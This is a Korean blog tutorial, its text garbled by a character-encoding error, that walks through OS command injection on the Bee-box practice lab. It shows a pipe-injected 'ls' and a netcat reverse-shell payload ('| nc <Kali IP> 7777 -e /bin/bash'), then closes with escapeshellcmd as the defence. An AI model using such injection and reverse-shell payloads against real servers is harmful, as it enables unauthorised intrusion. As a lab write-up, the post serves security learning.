Game/Bee-box

[Bee-box] 기타 μΈμ μ…˜ 곡격- OS μ»€λ§¨λ“œ μΈμ μ…˜

μ •λ³΄λ³΄μ•ˆπŸŒ 2020. 6. 7. 18:35
λ°˜μ‘ν˜•

iframe μΈμ μ…˜ μ‹€μŠ΅μ— μ΄μ–΄μ„œ,

μ˜€λŠ˜μ€ μΈμ μ…˜ 기법 쀑 OS μ»€λ§¨λ“œ μΈμ μ…˜μ„ μ‹€μŠ΅ν•΄λ³Όκ²Œμš”.

μ‹€μŠ΅ν•˜λŠ” λͺ¨λ“  곡격은 μ‹€μ œλ‘œ μ‚¬μš©ν•˜μ‹œλ©΄ μ•ˆλ©λ‹ˆλ‹€.

ν—ˆμš©λ°›μ§€ μ•Šμ€ μ„œλΉ„μŠ€ λŒ€μƒμ— 해킹을 μ‹œλ„ν•˜λŠ” 행동은 κΈˆμ§€ν•˜λ©°,

λͺ¨λ“  법적 μ±…μž„μ€ μ‚¬μš©μžμ—κ²Œ μžˆλŠ” 것을 λͺ…μ‹¬ν•΄μ£Όμ„Έμš”


 

λ¨Όμ € μ‹€μŠ΅ν•˜κΈ° 전에 κ°„λ‹¨ν•˜κ²Œ OS Command Injection에 곡격 흐름도λ₯Ό μ•Œμ•„λ³΄κ³  μ‹œμž‘ν•˜λ„λ‘ ν• κ»˜μš”.

 

μ»€λ§¨λ“œ μΈμ μ…˜μ΄λž€ μ·¨μ•½ν•œ λ³€μˆ˜λ‘œ μ‹œμŠ€ν…œ λͺ…λ Ήμ–΄λ₯Ό μ£Όμž…ν•˜μ—¬ μ„œλ²„ μš΄μ˜μ²΄μ œμ— μ ‘κ·Όν•˜λŠ” κ³΅κ²©μž…λ‹ˆλ‹€.

 

보톡 μ›Ή νŽ˜μ΄μ§€μ—μ„œ μ„œλ²„μ˜ μ‹œμŠ€ν…œ 셸을 ν˜ΈμΆœν•  λ•Œ, κ΄€λ¦¬μžκ°€ μ˜λ„ν•œ λͺ…λ Ήμ–΄κ°€ μ•„λ‹Œ 

λ‹€λ₯Έ λͺ…λ Ήμ–΄λ₯Ό μ£Όμž…ν•˜μ—¬ μ„œλ²„ 정보λ₯Ό μ•Œμ•„λ‚΄λŠ” κ³΅κ²©μž…λ‹ˆλ‹€.

 

 

'commandi.php'λŠ” μž…λ ₯ν•œ μ£Όμ†Œμ˜ DNS μ£Όμ†Œλ₯Ό 좜λ ₯ν•©λ‹ˆλ‹€. μ΄λ•Œ DNSλ₯Ό μ‘°νšŒν•˜λŠ” λͺ…령어인 nslookup을 μ‚¬μš©ν•˜μ£ !

 

 

자 그럼 Command Injection을 μ‹œμž‘ν•΄λ³Όκ»˜μš”!

 

λ‚œμ΄λ„ ν•˜

 

λ¨Όμ € lowλ‹¨κ³„λ‘œ λ“€μ–΄κ°€μ€λ‹ˆλ‹€.

 

 

듀어가보면

 

 

μ΄λŸ°ν™”λ©΄μ΄ 뜨죠. 

λ‹€μŒκ³Ό 같이 ν…μŠ€νŠΈ ν•„λ“œμ— νŒŒμ΄ν”„ 라인과 ν•¨κ»˜ μ›ν•˜λŠ” λͺ…λ Ήμ–΄λ₯Ό μž…λ ₯ ν•  수 μžˆλŠ”λ°μš”.

μ—¬κΈ°μ„œλŠ” λ””λ ‰ν„°λ¦¬μ˜ λͺ©λ‘μ„ ν‘œμ‹œν•˜λŠ” λͺ…λ Ήμ–΄ ' ls 'λ₯Ό μ‚¬μš©ν•΄μ€λ‹ˆλ‹€.

 

νŒŒμ΄ν”„λΌμΈ ' | ' 은 λ‘˜ μ΄μƒμ˜ λͺ…λ Ήμ–΄λ₯Ό μ‹€ν–‰ν•  λ•Œ μ‚¬μš©ν•˜λ©°, μ•žμ˜ λͺ…령을 μ‹€ν–‰ ν›„ νŒŒμ΄ν”„λΌμΈ λ’€ λͺ…λ Ήμ–΄λ₯Ό μ‹€ν–‰μ‹œν‚¨λ‹€.

 

 

μ΄λ ‡κ²Œ νŒŒμ΄ν”„λΌμΈμ„ μ‚¬μš©ν•˜μ—¬ OS μ»€λ§¨λ“œ μΈμ μ…˜μ˜ 결과둜 μ„œλ²„ μ‹œμŠ€ν…œμ˜ κ°€μž₯ μƒμœ„μ— μžˆλŠ”

디렉터리 정보λ₯Ό 좜λ ₯ ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

 

 

μ΄λ ‡κ²Œ bin dev etcλ“± μƒμœ„ 디렉터리듀이 좜λ ₯λ˜μ—ˆλ„€μš”.

 

OS μ»€λ§¨λ“œ μΈμ μ…˜μ— λ„·μΊ£(Netcat) λͺ…λ Ήμ–΄λ₯Ό μž…λ ₯ν•˜λ©΄ λΉ„λ°•μŠ€μ˜ μ„œλ²„ 정보λ₯Ό μ™ΈλΆ€μ—μ„œ νŒŒμ•…ν•  μˆ˜κ°€ μžˆλŠ”λ°μš”.

칼리 λ¦¬λˆ…μŠ€λ₯Ό μ‹€ν–‰ν•˜μ—¬ λ¦¬μŠ€λ‹ λͺ¨λ“œλ‘œ 넷캣을 싀행해보도둝 ν•˜κ² μŠ΅λ‹ˆλ‹€.

 


 

μ‹€μŠ΅μ— μ•žμ„œ, 이 곡격은 이해가 λ‹€μ†Œ μ–΄λ €μš΄ 뢀뢄이 μžˆμ„ 수 μžˆμ„ 것 κ°™μ•„ 

이해λ₯Ό λ•κΈ°μœ„ν•΄ 그림으둜 κ·Έλ €λ³΄μ•˜μŠ΅λ‹ˆλ‹€. μ΄ν•΄ν•˜μ‹œλŠ”λ° μ°Έκ³ ν•˜μ‹œλ©΄ 쒋을 것 κ°™μ•„μš”.

 

 

 

 

 

 

μ΄μ–΄μ„œ μ‹€μŠ΅μ„ μ‹œμž‘ν•˜κ² μŠ΅λ‹ˆλ‹€.

 

λ¨Όμ € μΉΌλ¦¬λ¦¬λˆ…μŠ€λ₯Ό μ‹€ν–‰ν•˜μ—¬ λͺ…λ Ήμ–΄λ₯Ό μž…λ ₯ν•΄ μ€λ‹ˆλ‹€. (sudo su 둜 μ ‘κ·Όν•΄μ£Όμ„Έμš”.)

 

 

-l 은 λ¦¬μŠ€λ‹ λͺ¨λ“œ, -p λŠ” 포트번호λ₯Ό μ§€μ •ν•˜λŠ” μ˜΅μ…˜μž…λ‹ˆλ‹€.

 

μž…λ ₯ ν›„ λ‹€μ‹œ bee-box둜 λŒμ•„κ°€μ„œ commandi.php νŽ˜μ΄μ§€ μž…λ ₯λž€μ— 넷캣을 μ‹€ν–‰ν•˜λŠ” λͺ…λ Ήμ–΄λ₯Ό  μž…λ ₯ν•΄μ€λ‹ˆλ‹€.

 

 

| nc 192.168.150.129 7777-e "/bin/bash"  

 

λ„·μΊ£κ³Ό μ—°κ²°ν•˜κΈ° μœ„ν•˜μ—¬ 칼리 λ¦¬λˆ…μŠ€μ˜ IPμ£Όμ†Œμ™€ 포트 번호λ₯Ό 인자 κ°’μœΌλ‘œ μž…λ ₯ν•΄μ•Ό ν•©λ‹ˆλ‹€.

 

 

칼리 λ¦¬λˆ…μŠ€μ—μ„œ λΉ„λ°•μŠ€ μ„œλ²„μ˜ 정보λ₯Ό μ•ŒκΈ° μœ„ν•˜μ—¬ λͺ…λ Ήμ–΄λ₯Ό μ‹€ν–‰ν•΄μ•Ό ν•˜λ―€λ‘œ -eμ˜΅μ…˜μœΌλ‘œ bash셸을 μ‹€ν–‰ν•΄μ€λ‹ˆλ‹€.

(λ³΄μ•ˆμƒ -e μ˜΅μ…˜μ„ μ‚¬μš©ν•˜λ©΄ κ³΅κ²©μžκ°€ ν™œμš©ν•  수 μžˆμœΌλ―€λ‘œ μ‹€λ¬΄μ—μ„œλŠ” telnetλͺ…λ Ήμ–΄λ‘œ 이λ₯Ό μš°νšŒν•©λ‹ˆλ‹€.)

 

ν•˜μ—¬νŠΌ! λͺ…λ Ήμ–΄λ₯Ό μž…λ ₯ ν›„ Lookup을 ν΄λ¦­ν•˜κ³ , 칼리 λ¦¬λˆ…μŠ€λ‘œ λŒμ•„μ™€μ„œ 넷캣을 μ‹€ν–‰ν•œ 터미널에

λͺ…λ Ήμ–΄λ₯Ό μž…λ ₯ν•˜λ©΄ μ„œλ²„ 정보λ₯Ό 확인할 수 μžˆμŠ΅λ‹ˆλ‹€.

 

 

ls와 같은 λͺ…λ Ήμ–΄λ₯Ό μž…λ ₯ν•΄λ³΄μ•˜λ”λ‹ˆ μ œλŒ€λ‘œ 정보가 ν™•μΈλ˜λ„€μš”.

 

--> μ‹œμŠ€ν…œ 침투 성곡

 

λŒ€μ‘λ°©μ•ˆ

 

λ‚œμ΄λ„ μƒμ—μ„œλŠ” νŒŒμ΄ν”„λΌμΈμ„ μ‚¬μš©ν•˜μ—¬λ„ μΈμ μ…˜ κ²°κ³Όκ°€ λ‚˜μ˜€μ§€ μ•ŠμŠ΅λ‹ˆλ‹€.

commandi.php νŽ˜μ΄μ§€μ˜ μ†ŒμŠ€ μ½”λ“œλ₯Ό 확인해보면

 

 

μ΄λ ‡κ²Œ commandi_check_2λΌλŠ” ν•¨μˆ˜λ‘œ 우회λ₯Ό ν•˜κ³  μžˆμŠ΅λ‹ˆλ‹€.

 

 

functions_external.php 에 μ •μ˜λ˜μ–΄μžˆλŠ” ν•¨μˆ˜ commandi_check_2 을 ν™•μΈν•΄λ³΄μ•˜λ”λ‹ˆ 

escapeshellcmd ν•¨μˆ˜λ‘œ μš°νšŒν•˜κ³  μžˆλ„€μš”.

 

escapeshellcmd  ==> μ‹œμŠ€ν…œ μ…Έλ‘œ μ‹€ν–‰ν•  수 μžˆλŠ” 특수 λ¬Έμžμ— λ°±μŠ¬λž˜μ‹œλ₯Ό λΆ™μ—¬

λͺ…령을 μ‹€ν–‰ν•  수 없도둝 λ°©μ–΄ν•΄μ€λ‹ˆλ‹€.

μ‚¬μš©ν•  수 μžˆλŠ” 우회 λ¬ΈμžλŠ” ' #, &, ;, ', |, *, ?, ~, <, >, ^, (, ), [, ], {, }, $, \, \x0A, \xFF, ., ', " ' κ°€ μžˆμŠ΅λ‹ˆλ‹€.

 

μ‹œμŠ€ν…œ λͺ…λ Ήμ–΄λ₯Ό μ™ΈλΆ€μ—μ„œ μ‚¬μš©ν•˜μ§€ λͺ»ν•˜λ„둝 ν•˜λŠ”κ²Œ κ°€μž₯ 쒋은 λŒ€μ‘λ°©μ•ˆ μ΄μ§€λ§Œ ,

뢀득이 ν•˜κ²Œ μ‹œμŠ€ν…œ λͺ…λ Ήμ–΄λ₯Ό μ‚¬μš©ν•˜μ—¬μ•Ό ν•  κ²½μš°μ—λŠ” ν•„μš”ν•œ λͺ…λ Ήμ–΄ 이외에 λ‹€λ₯Έ λͺ…λ Ήμ–΄λ₯Ό μ‚¬μš©ν•  수 없도둝 

μœ„μ™€ 같은 λ¬Έμžλ“€μ„ μš°νšŒν•˜λŠ” ν•¨μˆ˜λ₯Ό μ‚¬μš©ν•˜μ—¬ λŒ€μ‘ν•˜μ—¬ μ€λ‹ˆλ‹€!

λ°˜μ‘ν˜•